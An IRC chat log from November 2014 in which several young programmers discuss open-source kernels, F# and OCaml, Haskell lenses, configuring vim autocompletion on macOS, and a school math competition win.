[2014-11-22T14:07:07-0500] <~awe> Parts of Apple's kernel are FOSS.
[2014-11-22T14:07:08-0500] <+LittleBobbyTables> A lot of charts are misleading.
[2014-11-22T14:07:14-0500] <~awe> Parts of Apple's OS are FOSS.
[2014-11-22T14:07:33-0500] <~awe> Apple installs privacy-supporting software by default.
[2014-11-22T14:07:43-0500] <~awe> Part of Google's kernel is FOSS.
[2014-11-22T14:07:47-0500] <~awe> Part of Google's OS is FOSS.
[2014-11-22T14:08:00-0500] <~awe> Etc.
[2014-11-22T14:08:05-0500] <~awe> All of these companies do significantly open source things.
[2014-11-22T14:08:23-0500] <~awe> Microsoft's kernel isn't partially open source though.
[2014-11-22T14:08:31-0500] <~awe> It's completely proprietary as far as I know.
[2014-11-22T14:08:36-0500] <+LittleBobbyTables> Well
[2014-11-22T14:08:38-0500] <+LittleBobbyTables> Technically.
[2014-11-22T14:08:48-0500] <+LittleBobbyTables> Wasn't part of it leaked?
[2014-11-22T14:09:00-0500] <+LittleBobbyTables> Not recently, but I assume they kept some of the same things in it.
[2014-11-22T14:09:15-0500] <~awe> Yeah.
[2014-11-22T14:09:30-0500] <~awe> Parts of the .NT kernel were leaked around XP, I think.
[2014-11-22T14:13:05-0500] <~awe> https://www.crowdsupply.com/kosagi/novena-open-laptop
[2014-11-22T14:13:09-0500] <~awe> This is much cooler.
[2014-11-22T14:30:02-0500] <~awe> LittleBobbyTables: https://www.crowdsupply.com/xipiter/usbcondom
[2014-11-22T14:30:04-0500] <~awe> LittleBobbyTables: stay safe
[2014-11-22T15:00:39-0500] <ubuntor> those are awesome
[2014-11-22T15:15:43-0500] <nezorg> I got one for free at csaw
[2014-11-22T15:15:55-0500] <~awe> nezorg: a usb condom?
[2014-11-22T15:16:00-0500] <nezorg> yeah
[2014-11-22T15:16:11-0500] <~awe> So, you always stay safe when you jack-in with the ladies?
[2014-11-22T15:16:33-0500] <nezorg> totally
[2014-11-22T15:17:06-0500] <nezorg> except it makes the ladies give less power to apple devices :'(
[2014-11-22T15:17:07-0500] <~awe> That's good to hear.
[2014-11-22T15:17:10-0500] <~awe> Oh.
[2014-11-22T15:17:12-0500] <~awe> That's not.
[2014-11-22T15:17:14-0500] <~awe> Very sad.
[2014-11-22T15:17:47-0500] <~awe> nezorg: so, Xamarin supports F#.
[2014-11-22T15:17:55-0500] <~awe> nezorg: So, you can write iOS apps in OCaml.
[2014-11-22T15:19:12-0500] <nezorg> ocaml != f#
[2014-11-22T15:19:16-0500] <nezorg> even if theyre similar
[2014-11-22T15:19:42-0500] <~awe> Uhh...
[2014-11-22T15:19:57-0500] <~awe> There's a compilation flag for F# that will only compile valid OCaml.
[2014-11-22T15:20:06-0500] <nezorg> really?
[2014-11-22T15:20:07-0500] <~awe> Yes.
[2014-11-22T15:20:08-0500] <nezorg> huh
[2014-11-22T15:20:14-0500] <~awe> F# is a superset of OCaml.
[2014-11-22T15:21:23-0500] <nezorg> http://stackoverflow.com/questions/179492/f-changes-to-ocaml uhhhh
[2014-11-22T15:21:33-0500] <nezorg> no polymorphic variants is pretty big
[2014-11-22T15:22:10-0500] <nezorg> or is that just old
[2014-11-22T15:23:38-0500] <nezorg> also f# doesn't have functors???
[2014-11-22T15:24:28-0500] <~awe> This is very old.
[2014-11-22T15:24:38-0500] <~awe> I honestly don't know a lot about F#.
[2014-11-22T15:24:49-0500] <~awe> My friend was telling me about the flag though.
[2014-11-22T15:25:09-0500] <nezorg> wait it looks like F# doesn't even have HKT
[2014-11-22T15:25:11-0500] <nezorg> wat
[2014-11-22T15:25:46-0500] <~awe> The second answer from 2010 is one of the lead F# devs.
[2014-11-22T15:26:23-0500] <nezorg> but no HKT... that seems hard to believe
[2014-11-22T15:29:09-0500] <bob_twinkles> probably because there isn't an efficient way to make that work under .NET
[2014-11-22T15:29:34-0500] <~awe> Asking my friend about it.
[2014-11-22T15:30:34-0500] <~awe> He hasn't answered yet, but I think the expectation is that you'd use LINQ.
[2014-11-22T15:31:05-0500] <bob_twinkles> http://stackoverflow.com/questions/15081218/higher-kinded-types-why-possible-scala-but-not-f
[2014-11-22T15:31:46-0500] <bob_twinkles> ^ basically "they could, but it would make interoperability with other .net stuff (one of F#'s major selling points) more difficult to get right"
[2014-11-22T15:36:08-0500] <~awe> Sounds about right.
[2014-11-22T15:36:16-0500] <~awe> You can do similar stuff in LINQ though.
[2014-11-22T15:36:24-0500] <~awe> And that interops with .NET.
[2014-11-22T15:36:42-0500] <~awe> And since you aren't locked into purity in F#, you can just drop down to impurity instead of requiring high-level abstractions like HKT.
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[2014-11-22T15:47:37-0500] <+LittleBobbyTables> awe: 
[2014-11-22T15:47:41-0500] <~awe> Yes?
[2014-11-22T15:49:03-0500] <+LittleBobbyTables> Sorry, irccloud wasn't updating
[2014-11-22T15:49:17-0500] <~awe> Oh, okay.
[2014-11-22T15:49:33-0500] <~awe> bob_twinkles: I'm learning about lenses right now.
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[2014-11-22T15:57:15-0500] <~awe> hi Tamini 
[2014-11-22T16:02:33-0500] <Tamini> i just
[2014-11-22T16:02:38-0500] <Tamini> sat next to scott aaronson
[2014-11-22T16:02:41-0500] <Tamini> for an hour and a half
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[2014-11-22T16:05:25-0500] <+LittleBobbyTables> OH 3x3 single WR broken
[2014-11-22T16:07:05-0500] <~awe> bob_twinkles: runIdentity . ln (Identity . const x) is equivalent to runIdentity . ln $ Identity . const x, right?
[2014-11-22T16:09:05-0500] • bob_twinkles: shrugs
[2014-11-22T16:09:12-0500] <bob_twinkles> throw it in GHC, see if the types match =P
[2014-11-22T16:09:38-0500] <bob_twinkles> my brain isn't in type algebra mode right now, sorry
[2014-11-22T16:09:47-0500] <bob_twinkles> today is HUM day
[2014-11-22T16:09:59-0500] <~awe> That requires writing all that stuff though.
[2014-11-22T16:10:00-0500] <~awe> .-.
[2014-11-22T16:11:20-0500] <+LittleBobbyTables> copy and paste, ez
[2014-11-22T16:11:34-0500] <~awe> N.
[2014-11-22T16:11:41-0500] <~awe> I need all the types of this stuff and whatnot.
[2014-11-22T16:11:59-0500] <~awe> like ln is a lens, and so on.
[2014-11-22T16:12:10-0500] <~awe> I'm watching a video of SPJ talking about lenses.
[2014-11-22T16:13:12-0500] <bob_twinkles> I think that's equivalent
[2014-11-22T16:13:26-0500] <bob_twinkles> assuming I'm remembering order of operations for $ and . correctly
[2014-11-22T16:16:56-0500] <~awe> Okay, cool.
[2014-11-22T16:18:03-0500] <~awe> bob_twinkles: lenses are literally magic.
[2014-11-22T16:18:15-0500] <+LittleBobbyTables> Lenses are fun
[2014-11-22T16:18:26-0500] <+LittleBobbyTables> I took a class about them
[2014-11-22T16:18:43-0500] <~awe> He just got to the point where he's showing how evaluating something like view name fred would work.
[2014-11-22T16:18:56-0500] <~awe> And then how set would work and so on.
[2014-11-22T16:19:02-0500] <~awe> This is magic.
[2014-11-22T16:19:13-0500] <+LittleBobbyTables> Definitely talking about different lenses, then
[2014-11-22T16:19:20-0500] <bob_twinkles> yeah it makes one of the really annoying parts about haskell go away
[2014-11-22T16:19:35-0500] <~awe> I think I get how you'd make a markov chain with this then.
[2014-11-22T16:19:57-0500] <~awe> you'd use a lens so that you can set all the nodes that the node you have is pointing to.
[2014-11-22T16:23:43-0500] <~awe> Oh my god
[2014-11-22T16:23:46-0500] <~awe> More magic.
[2014-11-22T16:23:50-0500] <~awe> You don't even have to write the lenses.
[2014-11-22T16:23:54-0500] <bob_twinkles> yep
[2014-11-22T16:24:04-0500] <bob_twinkles> thank you based TH
[2014-11-22T16:24:19-0500] <bob_twinkles> it would get really annoying if you had to write lenses by hand =P
[2014-11-22T16:24:47-0500] <~awe> Yeah, that's fair.
[2014-11-22T16:25:26-0500] <~awe> LOL.
[2014-11-22T16:25:32-0500] <~awe> SJP pronounced .~ as "dot twiddle"
[2014-11-22T16:26:03-0500] <+LittleBobbyTables> Sounds better than "period tilde"
[2014-11-22T16:26:52-0500] <~awe> I think it's so funny that he called it twiddle.
[2014-11-22T16:27:36-0500] <+LittleBobbyTables> Lots of people say things for various things just to speed it up
[2014-11-22T16:27:47-0500] <+LittleBobbyTables> Like how a back slash is called a "wak"
[2014-11-22T16:28:11-0500] <~awe> wat
[2014-11-22T16:28:13-0500] <~awe> oh my god.
[2014-11-22T16:28:26-0500] <~awe> bob_twinkles: using lenses to create first-class fields that don't even exist
[2014-11-22T16:29:04-0500] <~awe> for example, a Temp that keeps the temperature in kelvins and has lenses for celsius and fahrenheit.
[2014-11-22T16:29:18-0500] <~awe> You can set the temperature in celsius without having to implement anything special.
[2014-11-22T16:29:20-0500] <~awe> This is crazy.
[2014-11-22T16:41:43-0500] <~awe> multi-focii lenses with applicative o.o
[2014-11-22T16:43:19-0500] <bob_twinkles> all this stuff is so cool
[2014-11-22T16:43:30-0500] <bob_twinkles> and I haven't the faintest idea what to use it for outside of toy problems =(
[2014-11-22T16:43:48-0500] <bob_twinkles> most of what I do is... I guess "systems programming" is the right word for it
[2014-11-22T16:44:01-0500] <bob_twinkles> and FP/Haskell is mostly useful for algorithmic stuff
[2014-11-22T16:59:15-0500] <~awe> Fair enough.
[2014-11-22T17:01:47-0500] <~awe> bob_twinkles: That's why I think Rust is so cool though.
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[2014-11-22T17:01:55-0500] <~awe> hi alokpathy 
[2014-11-22T17:02:07-0500] <nezorg> awe: aren't lenses cool? :3
[2014-11-22T17:02:12-0500] <~awe> very.
[2014-11-22T17:02:16-0500] <alokpathy> Ayo.
[2014-11-22T17:02:32-0500] <alokpathy> From me and Tamini
[2014-11-22T17:02:40-0500] <nezorg> ello
[2014-11-22T17:02:41-0500] <~awe> I wish GitHub had a PM user feature.
[2014-11-22T17:02:50-0500] <~awe> That way this guy couldn't pretend that he didn't read his email.
[2014-11-22T17:03:02-0500] <~awe> I see the guy who stole my crate name posting issues on Rust.
[2014-11-22T17:03:16-0500] <alokpathy> Lol
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[2014-11-22T17:08:04-0500] <~awe> Get this?
[2014-11-22T17:08:05-0500] <~awe> https://github.com/crabtw/rust-bindgen/issues/121#issuecomment-64071973
[2014-11-22T17:08:11-0500] <~awe> He stole other names, too.
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[2014-11-22T17:12:39-0500] <Tamini> damn
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[2014-11-22T17:12:59-0500] <bob_twinkles> alokpathy: pls
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[2014-11-22T17:14:04-0500] <Tamini> i acquired a crypto book <3
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[2014-11-22T17:19:44-0500] <Tamini> Also, later, i have a sorta interesting math problem to throw at you guys
[2014-11-22T17:19:49-0500] <Tamini> "math"
[2014-11-22T17:20:43-0500] <+LittleBobbyTables> Why not now
[2014-11-22T17:20:48-0500] <Tamini> uhh
[2014-11-22T17:20:49-0500] <~awe> alokpathy: I might have to ban kiwiirc.
[2014-11-22T17:20:51-0500] <Tamini> actually sure
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[2014-11-22T17:21:05-0500] <Tamini> and lol alokpathy can't get irc working on his phone
[2014-11-22T17:21:12-0500] <Tamini> also problem:
[2014-11-22T17:21:57-0500] <Tamini> this was our overarching game theory problem for pumac
[2014-11-22T17:22:26-0500] <Tamini> wait jk ill do it after awards
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[2014-11-22T17:22:50-0500] <alokpathy> Tamini: what problem?
[2014-11-22T17:24:30-0500] <~awe> alokpathy: stop this crap, go try to use irccloud again or something
[2014-11-22T17:27:20-0500] <Tamini> the uhhh
[2014-11-22T17:27:28-0500] <Tamini> batallion strat
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[2014-11-22T17:38:13-0500] <alokpathy> awe: I'll just quit
[2014-11-22T17:38:24-0500] <~awe> alokpathy: ?
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[2014-11-22T17:50:10-0500] <ubuntor> http://www.bobhobbs.com/files/kr_lovecraft.html
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[2014-11-22T18:02:45-0500] <Tamini> so uh
[2014-11-22T18:02:49-0500] <Tamini> we just won a math competition
[2014-11-22T18:02:54-0500] <Tamini> for the first time in years
[2014-11-22T18:03:00-0500] <Tamini> pls be proud
[2014-11-22T18:03:52-0500] <+LittleBobbyTables> am proud
[2014-11-22T18:04:38-0500] <nezorg> 1st place?
[2014-11-22T18:05:04-0500] <Tamini> yes
[2014-11-22T18:05:08-0500] <+LittleBobbyTables> Well, she won...
[2014-11-22T18:05:08-0500] <Tamini> PuMaC
[2014-11-22T18:05:08-0500] <+LittleBobbyTables> Soo
[2014-11-22T18:05:13-0500] <Tamini> our A team won everything
[2014-11-22T18:05:16-0500] <Tamini> oh I didnt win pls
[2014-11-22T18:05:33-0500] <+LittleBobbyTables> Oh, you didn't?
[2014-11-22T18:05:35-0500] <+LittleBobbyTables> Am not proud
[2014-11-22T18:05:36-0500] <Tamini> i skipped everything to go watch cs lectures
[2014-11-22T18:05:38-0500] <Tamini> WOW LBT
[2014-11-22T18:06:12-0500] <+LittleBobbyTables> wut
[2014-11-22T18:06:38-0500] <Tamini> so mean
[2014-11-22T18:07:07-0500] <+LittleBobbyTables> For not being proud of you for not having an accomplishment? :(
[2014-11-22T18:12:27-0500] <Tamini> well
[2014-11-22T18:12:30-0500] <Tamini> as a school
[2014-11-22T18:12:34-0500] <Tamini> we accomplished things
[2014-11-22T18:12:37-0500] <Tamini> this never happens
[2014-11-22T18:13:05-0500] <~awe> LittleBobbyTables: how would I make <C-Space> behave like <C-X><C-O>?
[2014-11-22T18:13:22-0500] <~awe> Tamini: nice work, doe.
[2014-11-22T18:13:41-0500] <Tamini> thanks, awe.
[2014-11-22T18:14:22-0500] <+LittleBobbyTables> Try map <C-Space> <C-XO>
[2014-11-22T18:14:37-0500] <+LittleBobbyTables> I haven't changed any bindings, so I don't know mapping too much, sorry
[2014-11-22T18:14:40-0500] <~awe> Or uhh..
[2014-11-22T18:14:47-0500] <~awe> How could I have omnicomplete run automatically?
[2014-11-22T18:15:04-0500] <~awe> Like how most IDEs do it?
[2014-11-22T18:15:15-0500] <+LittleBobbyTables> oh uhh
[2014-11-22T18:15:57-0500] <+LittleBobbyTables> Do you have it turned on?
[2014-11-22T18:16:03-0500] <+LittleBobbyTables> Wait yeah
[2014-11-22T18:16:26-0500] <~awe> I have omnicomplete on, but I have to use <C-XO> to make it appear.
[2014-11-22T18:16:26-0500] <+LittleBobbyTables> that was a dumb question :/
[2014-11-22T18:16:34-0500] <~awe> I'd prefer it to just work.
[2014-11-22T18:16:51-0500] <+LittleBobbyTables> Try inoremap <tab> <c-r>=Smart_TabComplete()<CR>
[2014-11-22T18:17:23-0500] <~awe> That does nothing.
[2014-11-22T18:17:54-0500] <~awe> Or, well, it doesn't work the way you want it to.
[2014-11-22T18:18:24-0500] <~awe> LittleBobbyTables: I just want it to appear when I press .
[2014-11-22T18:18:33-0500] <~awe> LittleBobbyTables: and still have the dot be typed obviously.
[2014-11-22T18:18:37-0500] <+LittleBobbyTables> How so?
[2014-11-22T18:18:46-0500] <+LittleBobbyTables> Hmm
[2014-11-22T18:18:48-0500] <~awe> Have you ever used Visual Studio or Eclipse or something?
[2014-11-22T18:18:50-0500] <+LittleBobbyTables> I see what you mean
[2014-11-22T18:18:57-0500] <~awe> If you type something like blah.
[2014-11-22T18:19:02-0500] <~awe> The suggestions pop up
[2014-11-22T18:19:09-0500] <+LittleBobbyTables> yeah
[2014-11-22T18:19:59-0500] <+LittleBobbyTables> http://www.vim.org/scripts/script.php?script_id=1879 like this?
[2014-11-22T18:21:52-0500] <~awe> LittleBobbyTables: Can I install this using Pathogen?
[2014-11-22T18:23:56-0500] <+LittleBobbyTables> Don't think so
[2014-11-22T18:26:04-0500] <+LittleBobbyTables> http://valloric.github.io/YouCompleteMe/
[2014-11-22T18:26:15-0500] <+LittleBobbyTables> That one is updated more, and has installation guide for MacVim
[2014-11-22T18:26:41-0500] <+LittleBobbyTables> It uses Vundle though
[2014-11-22T18:27:40-0500] <+LittleBobbyTables> You CAN do it with Pathogen though, awe
[2014-11-22T18:28:34-0500] <~awe> How?
[2014-11-22T18:28:48-0500] <~awe> Do I just pull it into the same folder as everything else?
[2014-11-22T18:28:52-0500] <+LittleBobbyTables> Yeah
[2014-11-22T18:29:03-0500] <+LittleBobbyTables> Scroll down, there's a "full step installation guide"
[2014-11-22T18:29:45-0500] <~awe> I uhh..
[2014-11-22T18:29:48-0500] <~awe> I restarted vim
[2014-11-22T18:29:53-0500] <~awe> and now C-XO isn't working?
[2014-11-22T18:31:37-0500] <~awe> Now it is.
[2014-11-22T18:31:38-0500] <~awe> Nevermind then.
[2014-11-22T18:46:35-0500] <~awe> LittleBobbyTables: this doesn't really work.
[2014-11-22T18:46:46-0500] <+LittleBobbyTables> Hmm
[2014-11-22T18:46:48-0500] <Tamini> awe, are you still configuring vim
[2014-11-22T18:47:07-0500] <~awe> LittleBobbyTables: https://www.dropbox.com/s/pxkdx4uw4xge68m/Screenshot%202014-11-22%2018.47.04.png?dl=0
[2014-11-22T18:47:08-0500] <+LittleBobbyTables> I tend to not use what you're talking about too much, so I'm as lost on it as you are :P
[2014-11-22T18:47:12-0500] <~awe> LittleBobbyTables: it's not aware of the context, for some reason?
[2014-11-22T18:47:24-0500] <~awe> Tamini: yes.
[2014-11-22T18:48:51-0500] <+LittleBobbyTables> It might not have Rust support automatically. Most things don't
[2014-11-22T18:50:40-0500] <Tamini> awe: working out?
[2014-11-22T18:50:59-0500] <~awe> LittleBobbyTables: Well, sure, but I mean, it's using racer properly.
[2014-11-22T18:51:03-0500] <~awe> LittleBobbyTables: I already installed racer.
[2014-11-22T18:51:08-0500] <+LittleBobbyTables> hmm
[2014-11-22T18:51:21-0500] <~awe> LittleBobbyTables: If I do C-XO, I get the correct suggestions (push and push_all)
[2014-11-22T18:51:26-0500] <+LittleBobbyTables> I don't know, then :/
[2014-11-22T18:51:44-0500] <+LittleBobbyTables> Does it recognize any others?
[2014-11-22T18:52:42-0500] <~awe> It does suggestions, it just doesn't seem to be giving it the stuff that I previously typed.
[2014-11-22T18:53:14-0500] <+LittleBobbyTables> Dunno, then
[2014-11-22T18:53:25-0500] <+LittleBobbyTables> Have you typed them since you installed it?
[2014-11-22T18:53:32-0500] <+LittleBobbyTables> It might not be recognized by it until you type it once
[2014-11-22T18:56:18-0500] <~awe> Yeah.
[2014-11-22T18:56:23-0500] <~awe> It seems like it's doing more stuff now.
[2014-11-22T18:56:31-0500] <~awe> I'm content with this, at least.
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[2014-11-22T19:05:30-0500] <alokpathy> I'm on a computer now
[2014-11-22T19:06:36-0500] <Tamini> yaay
[2014-11-22T19:07:02-0500] <Tamini> you should tell them about our lecture
[2014-11-22T19:07:08-0500] <alokpathy> It was p rad
[2014-11-22T19:08:01-0500] <+LittleBobbyTables> how rad
[2014-11-22T19:08:04-0500] <+LittleBobbyTables> On a scale of 1-LBT
[2014-11-22T19:08:24-0500] <~awe> LBT
[2014-11-22T19:08:30-0500] <bob_twinkles> wait that scale goes the wrong way =P
[2014-11-22T19:08:35-0500] <+LittleBobbyTables> Wow, thanks.
[2014-11-22T19:08:47-0500] <bob_twinkles> (sorry, it was too good an oppurtunity to pass up)
[2014-11-22T19:08:54-0500] <+LittleBobbyTables> :P
[2014-11-22T19:11:38-0500] <~awe> I need to figure out a way to have my console vim command
[2014-11-22T19:11:50-0500] <bob_twinkles> console vim command?
[2014-11-22T19:11:50-0500] <~awe> run the vim that's inside of the MacVim.app
[2014-11-22T19:11:54-0500] <~awe> when I type vim
[2014-11-22T19:11:54-0500] <bob_twinkles> oh
[2014-11-22T19:12:00-0500] <~awe> I tried sym linking to it
[2014-11-22T19:12:04-0500] <bob_twinkles> set $PATH in your bashrc
[2014-11-22T19:12:05-0500] <~awe> But it kept running the old one
[2014-11-22T19:12:15-0500] <bob_twinkles> and put the MacVim.app path first
[2014-11-22T19:12:21-0500] <bob_twinkles> so like
[2014-11-22T19:12:37-0500] <bob_twinkles> export PATH="/path/to/good/bin/directory:$PATH"
[2014-11-22T19:12:50-0500] <~awe> $PATH is currently /usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin
[2014-11-22T19:13:05-0500] <~awe> so, a symlink in /usr/local/bin should take precedence, right?
[2014-11-22T19:13:11-0500] <bob_twinkles> yeah
[2014-11-22T19:13:34-0500] <bob_twinkles> unless OSX is doing something Weird(TM)
[2014-11-22T19:13:57-0500] <~awe> YouCompleteMe unavailable: requires Vim 7.3.584+
[2014-11-22T19:14:16-0500] <~awe>  /usr/bin/vim
[2014-11-22T19:15:18-0500] <~awe> White-Pillar:bin Aaron$ which vim
[2014-11-22T19:15:18-0500] <~awe> White-Pillar:bin Aaron$ vim
[2014-11-22T19:15:18-0500] <~awe> YouCompleteMe unavailable: requires Vim 7.3.584+
[2014-11-22T19:15:20-0500] <~awe> wat?
[2014-11-22T19:16:06-0500] <~awe> I restarted my terminal.
[2014-11-22T19:16:09-0500] <~awe> It sees that vim now.
[2014-11-22T19:16:17-0500] <~awe> But other weird things.
[2014-11-22T19:16:46-0500] <+LittleBobbyTables> afk
[2014-11-22T19:18:43-0500] <~awe> bob_twinkles: http://pastie.org/9737485
[2014-11-22T19:18:59-0500] <~awe> If I press enter though, everything opens fine
[2014-11-22T19:19:35-0500] <~awe> Oh, but syntax highlighting is broken.
[2014-11-22T19:20:11-0500] <~awe> Can I just exclude a plugin somehow by version?
[2014-11-22T19:20:28-0500] <~awe> And just have the CLI version not use YouCompleteMe?
[2014-11-22T19:31:33-0500] <bob_twinkles> awe: echo $TERM
[2014-11-22T19:31:38-0500] <bob_twinkles> also
[2014-11-22T19:31:45-0500] <bob_twinkles> iterm is a pile of crap, get a real terminal emulator
[2014-11-22T19:35:00-0500] <~awe> I don't use iTerm.
[2014-11-22T19:35:02-0500] <~awe> I use Terminal.
[2014-11-22T19:35:15-0500] <~awe> xterm-256color
[2014-11-22T19:36:41-0500] <~awe> bob_twinkles: I can make my terminal pretend to be a number of terminals though.
[2014-11-22T19:40:21-0500] <bob_twinkles> hmm
[2014-11-22T19:40:39-0500] <~awe> I just need my CLI version to not try to use YCM.
[2014-11-22T19:40:45-0500] <~awe> It's really annoying when I do git commit -a >.>
[2014-11-22T19:41:32-0500] <bob_twinkles> if not(has('gui')) then .... end?
[2014-11-22T19:41:35-0500] <bob_twinkles> I think that'll work
[2014-11-22T19:41:50-0500] <~awe> What goes in it?
[2014-11-22T19:41:50-0500] <bob_twinkles> or just wrap YCM initialization in has('gui')
[2014-11-22T19:41:53-0500] <bob_twinkles> I think
[2014-11-22T19:42:14-0500] <~awe> There's no YCM initialization though?
[2014-11-22T19:43:30-0500] <~awe> I think I found a better fix.
[2014-11-22T19:44:44-0500] <~awe> Yeah, I got it.
[2014-11-22T19:45:02-0500] <~awe> Turns out the mvim script sets gui=true only if it starts with m or g.
[2014-11-22T19:45:15-0500] <~awe> So, if the script is named vim or called from a symlink named vim, it'll be gui=false.
[2014-11-22T19:45:19-0500] <~awe> So, I made a symlink.
[2014-11-22T19:45:27-0500] <~awe> Now I use the correct version of vim
[2014-11-22T19:45:28-0500] <~awe> 7.4.
[2014-11-22T19:45:33-0500] <~awe> The same one in my MacVim.app.
[2014-11-22T20:06:20-0500] <~awe> I found this really pretty color scheme.
[2014-11-22T20:06:26-0500] <~awe> I'm very happy with this.
[2014-11-22T20:08:42-0500] <Tamini> lol of course awe chooses for the color
[2014-11-22T20:09:01-0500] <~awe> Tamini: https://www.dropbox.com/s/83oytqx3k54wgu7/Screenshot%202014-11-22%2020.08.58.png?dl=0
[2014-11-22T20:09:05-0500] <~awe> look how pretty :D
[2014-11-22T20:11:19-0500] <Tamini> i like that.
[2014-11-22T20:11:25-0500] <Tamini> that's really nice
[2014-11-22T20:11:28-0500] <~awe> Isn't it?
[2014-11-22T20:11:48-0500] <Tamini> yes
[2014-11-22T20:12:55-0500] <Tamini> also nezorg: waiting on updates if you won :P
[2014-11-22T20:13:06-0500] <alokpathy> ogod the prettiness
[2014-11-22T20:13:27-0500] <Tamini> yes the shiny colors
[2014-11-22T20:13:41-0500] <Tamini> i forgot alokpathy chose an OS purely because "preeetty" that one time
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[2014-11-22T20:14:39-0500] <alokpathy> Not purely gosh
[2014-11-22T20:15:09-0500] <Tamini> heh, or so you claim
[2014-11-22T20:17:21-0500] <nezorg> Tamini: see my snap?
[2014-11-22T20:17:31-0500] <Tamini> yee
[2014-11-22T20:17:44-0500] <Tamini> i got "waiting"
[2014-11-22T20:17:53-0500] <Tamini> nice suit, tho :P
[2014-11-22T20:18:09-0500] <Tamini> mainly the tie, but :P
[2014-11-22T20:18:49-0500] <Tamini> also help im eating dinner with chinese people that are speaking chinese and im staring awkwardly ._.
[2014-11-22T20:19:57-0500] <nezorg> learn chinese
[2014-11-22T20:20:56-0500] <Tamini> in 5 minutes? :P
[2014-11-22T20:21:10-0500] <nezorg> sounds good to me
[2014-11-22T20:23:04-0500] <Tamini> im not op like you
[2014-11-22T20:30:40-0500] <~awe> nezorg: not everyone can be a ninja
[2014-11-22T20:39:38-0500] <Tamini> i survived because another group of chinese people came
[2014-11-22T20:39:47-0500] <Tamini> and they had a lone indian kid i could be awk w/
[2014-11-22T20:42:26-0500] <Tamini> also nezorg: congratz!
[2014-11-22T20:45:23-0500] <nezorg> thanks
[2014-11-22T20:47:43-0500] <~awe> nezorg: what'd you just win?
[2014-11-22T20:48:48-0500] <nezorg> didn't win anything
[2014-11-22T20:48:53-0500] <nezorg> got 2/3 debates though
[2014-11-22T20:52:40-0500] <~awe> Ah, okay.
[2014-11-22T20:52:43-0500] <~awe> Still, nice owkr.
[2014-11-22T20:52:45-0500] <~awe> work*
[2014-11-22T21:02:10-0500] <~awe> I'm working on democracy now, by the way.
[2014-11-22T21:03:01-0500] <~awe> Out of curiosity, would you guys be mad if I didn't implement bans because honestly it's wasted effort given how completely meaningless IRC bans are?
[2014-11-22T21:03:52-0500] <~awe> I dunno. Maybe I'll still do it.
[2014-11-22T21:07:14-0500] <nezorg> still works well symbolically
[2014-11-22T21:18:21-0500] <~awe> Yeah.
[2014-11-22T21:18:30-0500] <~awe> And it makes it harder to rejoin and spam moer.
[2014-11-22T21:23:52-0500] <+LittleBobbyTables> Just in case you guys were curious
[2014-11-22T21:24:11-0500] <+LittleBobbyTables> You would have to pee at ~3760 mph in order for it to orbit the moon
[2014-11-22T21:25:15-0500] <~awe> I'm set.
[2014-11-22T21:25:19-0500] <~awe> I've been practicing.
[2014-11-22T21:26:14-0500] <+LittleBobbyTables> If the pee were to hit you
[2014-11-22T21:26:27-0500] <+LittleBobbyTables> It'd hit you with 705kJ of energy
[2014-11-22T21:26:32-0500] <+LittleBobbyTables> err
[2014-11-22T21:26:33-0500] <+LittleBobbyTables> Sorry
[2014-11-22T21:26:44-0500] <+LittleBobbyTables> It has that much, it would hit you with ~70560 kN of force
[2014-11-22T21:26:57-0500] <~awe> YEah
[2014-11-22T21:27:09-0500] <~awe> You should see what I do to urinals, man.
[2014-11-22T21:30:18-0500] <Tamini> uhh
[2014-11-22T21:30:29-0500] <Tamini> why is this something you've been calculating
[2014-11-22T21:35:01-0500] <+LittleBobbyTables> I haven't
[2014-11-22T21:44:50-0500] <+LittleBobbyTables> You would die if you get hit by that though
[2014-11-22T21:44:54-0500] <+LittleBobbyTables> So that's rather unfortunate.
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[2014-11-22T21:54:24-0500] <~awe> LittleBobbyTables: Don't let me pee on you.
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[2014-11-22T22:23:47-0500] <JacobEdelman> I just got back from princeton
[2014-11-22T22:23:59-0500] <JacobEdelman> this was perhaps the best day of my life in a long tome
[2014-11-22T22:24:00-0500] <JacobEdelman> *time
[2014-11-22T22:24:13-0500] <JacobEdelman> Tamini: alokpathy: you guys missed so much
[2014-11-22T22:24:32-0500] <JacobEdelman> Scott Aaronsons lecture was easily 100 times as amzing as the other ones
[2014-11-22T22:24:37-0500] <Tam> dude omg
[2014-11-22T22:24:38-0500] <Tam> tell me about pls
[2014-11-22T22:25:10-0500] <JacobEdelman> I think its online somewhere
[2014-11-22T22:25:13-0500] <JacobEdelman> maybe
[2014-11-22T22:25:13-0500] <Tam> also apothy got confused
[2014-11-22T22:25:15-0500] <JacobEdelman> it was cool
[2014-11-22T22:25:18-0500] <JacobEdelman> why?
[2014-11-22T22:25:19-0500] <Tam> and it took us an horu to walk back
[2014-11-22T22:25:23-0500] <JacobEdelman> ... wow
[2014-11-22T22:25:24-0500] <Tam> so it was good that we bailed early
[2014-11-22T22:25:26-0500] <Tam> we said hi to uhhh
[2014-11-22T22:25:36-0500] <JacobEdelman> yeah, I actually got strnaded there
[2014-11-22T22:25:48-0500] <Tam>  Tim Roughgarden
[2014-11-22T22:25:51-0500] <Tam> which was awesome
[2014-11-22T22:26:00-0500] <Tam> because apothy and I both took his coursera course
[2014-11-22T22:26:02-0500] <JacobEdelman> it was 7 and too dark to walk by the time it was over (we stayed a bit afterwards, just me and ben, to talk with scott aaronson)
[2014-11-22T22:26:14-0500] <JacobEdelman> we talked with scott aaronson
[2014-11-22T22:26:16-0500] <JacobEdelman> in depth
[2014-11-22T22:26:18-0500] <JacobEdelman> on stuff
[2014-11-22T22:26:21-0500] <JacobEdelman> :)
[2014-11-22T22:26:37-0500] <JacobEdelman> also, I then hitched a ride with a  psot doc
[2014-11-22T22:26:42-0500] <+LittleBobbyTables> Is his fathers name Aaron?
[2014-11-22T22:26:44-0500] <Tam> damn
[2014-11-22T22:26:44-0500] <Tam> LOL
[2014-11-22T22:26:52-0500] <Tam> idk but
[2014-11-22T22:26:54-0500] <Tam> he was really tall
[2014-11-22T22:26:57-0500] <Tam> also OMG
[2014-11-22T22:27:06-0500] <JacobEdelman> what, scott aaronson was not tall?
[2014-11-22T22:27:08-0500] <Tam> i tokd alok we should totally have hitched a ride back but nooooo
[2014-11-22T22:27:17-0500] <Tam> tim was
[2014-11-22T22:27:20-0500] <Tam> so tall i literally
[2014-11-22T22:27:27-0500] <Tam> could not make out his face in that shitty lighting
[2014-11-22T22:27:31-0500] <+LittleBobbyTables> Everything is tall to you
[2014-11-22T22:27:40-0500] <JacobEdelman> I played brawl with my brothers door mates, went to see a fil festiveal... it was fun
